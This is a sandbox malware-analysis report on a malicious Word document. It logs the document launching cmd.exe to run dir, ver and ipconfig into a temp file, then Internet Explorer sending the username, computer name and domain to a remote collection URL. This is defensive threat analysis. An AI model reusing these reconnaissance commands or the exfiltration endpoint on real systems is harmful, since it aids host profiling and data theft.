Malware analysis 7898c975279f36ed51b257e4e611284db02294c401ac1af36a03072a5d069899.doc Malicious activity

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File name:	7898c975279f36ed51b257e4e611284db02294c401ac1af36a03072a5d069899.doc
Full analysis:	https://app.any.run/tasks/0afbf141-afe7-47bf-980e-f05410b964af
Verdict:	Malicious activity
Analysis date:	June 19, 2019, 03:12:29
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 1.0, Code page: -535, Template: Normal, Revision Number: 4, Total Editing Time: 10:18, Create Time/Date: Wed Jan 18 22:01:00 2017, Last Saved Time/Date: Tue Jun 18 20:17:47 2019
MD5:	C7E213BF0D39982A017D08383CAD92D9
SHA1:	AD5D7558AF5EE269AEBA0A3E7031BEF5A7590B43
SHA256:	7898C975279F36ED51B257E4E611284DB02294C401AC1AF36A03072A5D069899
SSDEEP:	6144:vKA6i/bL+dwYVAVD5ZMAQLo52YQDMbr7EX8vCsQoUJQDSPNZWOSzHAFXf4kSBdwH:Sq/xhZMfLo52YQDMbr7EX8vCsQoUJQDa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2948)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2948)
SUSPICIOUS
- Executed via COM
  - iexplore.exe (PID: 3124)
- Uses IPCONFIG.EXE to discover IP address
  - cmd.exe (PID: 3172)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2948)
  - iexplore.exe (PID: 3692)
  - iexplore.exe (PID: 3124)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2948)
- Changes internet zones settings
  - iexplore.exe (PID: 3124)
- Application launched itself
  - iexplore.exe (PID: 3124)
- Reads Internet Cache Settings
  - iexplore.exe (PID: 3692)
  - iexplore.exe (PID: 3124)
  - iexplore.exe (PID: 2816)
- Reads internet explorer settings
  - iexplore.exe (PID: 3692)
  - iexplore.exe (PID: 2816)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserTypeLen:	24
CompObjUserType:	Microsoft Word-Dokument
Template:	Normal
RevisionNumber:	4
TotalEditTime:	10.3 minutes
LastPrinted:	-
CreateDate:	2017:01:18 22:01:00
ModifyDate:	2019:06:18 19:17:47
CodePage:	Unicode (UTF-8)

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2484

"C:\Windows\system32\cmd.exe" /c "dir /b >"C:\Users\admin\Desktop\lucy_result_tmp.txt""

C:\Windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2508

"C:\Windows\system32\cmd.exe" /c "ver >"C:\Users\admin\Desktop\lucy_result_tmp.txt""

C:\Windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2816

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3124 CREDAT:203009

C:\Program Files\Internet Explorer\iexplore.exe

iexplore.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2948

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\7898c975279f36ed51b257e4e611284db02294c401ac1af36a03072a5d069899.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3124

"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding

C:\Program Files\Internet Explorer\iexplore.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3172

"C:\Windows\system32\cmd.exe" /c "ipconfig >"C:\Users\admin\Desktop\lucy_result_tmp.txt""

C:\Windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3632

ipconfig

C:\Windows\system32\ipconfig.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

IP Configuration Utility

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\ipconfig.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\ws2_32.dll

3692

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3124 CREDAT:71937

C:\Program Files\Internet Explorer\iexplore.exe

iexplore.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll

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Total events

1 898

Read events

1 161

Write events

729

Delete events

Modification events


(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	rq
Value: 72712000840B0000010000000000000000000000
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1322450974
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1322451096
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1322451097
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 840B000028ABAFDD4C26D50100000000
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	lr
Value: 6C722000840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	lr
Value: 6C722000840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2948) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2948	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRE9C2.tmp.cvr		—
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\favicon[1].ico		—
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico		—
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\Local\Temp\~DF6547F68CE985B63A.TMP		—
		MD5:—	SHA256:—
2948	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$98c975279f36ed51b257e4e611284db02294c401ac1af36a03072a5d069899.doc		pgc
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\favicon[1].ico		—
		MD5:—	SHA256:—
2948	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2948	WINWORD.EXE	C:\Users\admin\Desktop\lucy_result.txt		text
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\Local\Temp\~DF90CD421982CED360.TMP		—
		MD5:—	SHA256:—
3124	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{1CFFD4E8-9240-11E9-B3B3-5254004A04AF}.dat		—
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3124	iexplore.exe	GET	404	190.249.177.87:8081	http://soportearus.com.co:8081/favicon.ico	CO	html	294 b	malicious
3692	iexplore.exe	POST	200	190.249.177.87:8081	http://soportearus.com.co:8081/arus_collect.php	CO	—	—	malicious
3124	iexplore.exe	GET	404	190.249.177.87:8081	http://soportearus.com.co:8081/favicon.ico	CO	html	294 b	malicious
2816	iexplore.exe	GET	200	190.249.177.87:8081	http://soportearus.com.co:8081/arus_collect.php?UserName=admin_Vishing_CC&computername=USER-PC&logonserver=\\USER-PC&userdomain=USER-PC	CO	text	34 b	malicious
3124	iexplore.exe	GET	200	204.79.197.200:80	http://www.bing.com/favicon.ico	US	image	237 b	whitelisted
3124	iexplore.exe	GET	200	204.79.197.200:80	http://www.bing.com/favicon.ico	US	image	237 b	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3124	iexplore.exe	204.79.197.200:80	www.bing.com	Microsoft Corporation	US	whitelisted
3692	iexplore.exe	190.249.177.87:8081	soportearus.com.co	EPM Telecomunicaciones S.A. E.S.P.	CO	malicious
3124	iexplore.exe	190.249.177.87:8081	soportearus.com.co	EPM Telecomunicaciones S.A. E.S.P.	CO	malicious
2816	iexplore.exe	190.249.177.87:8081	soportearus.com.co	EPM Telecomunicaciones S.A. E.S.P.	CO	malicious

DNS requests

Domain	IP	Reputation
www.bing.com	204.79.197.200 13.107.21.200	whitelisted
soportearus.com.co	190.249.177.87	malicious

Threats

PID	Process	Class	Message
3692	iexplore.exe	A Network Trojan was detected	MALWARE [PTsecurity] TrojanDownloader:Win32/Renos

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No debug info

General Info

7898c975279f36ed51b257e4e611284db02294c401ac1af36a03072a5d069899.doc

C7E213BF0D39982A017D08383CAD92D9

AD5D7558AF5EE269AEBA0A3E7031BEF5A7590B43

7898C975279F36ED51B257E4E611284DB02294C401AC1AF36A03072A5D069899

6144:vKA6i/bL+dwYVAVD5ZMAQLo52YQDMbr7EX8vCsQoUJQDSPNZWOSzHAFXf4kSBdwH:Sq/xhZMfLo52YQDMbr7EX8vCsQoUJQDa

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Starts CMD.EXE for commands execution

Unusual execution from Microsoft Office

SUSPICIOUS

Executed via COM

Uses IPCONFIG.EXE to discover IP address

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Changes internet zones settings

Application launched itself

Reads Internet Cache Settings

Reads internet explorer settings

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings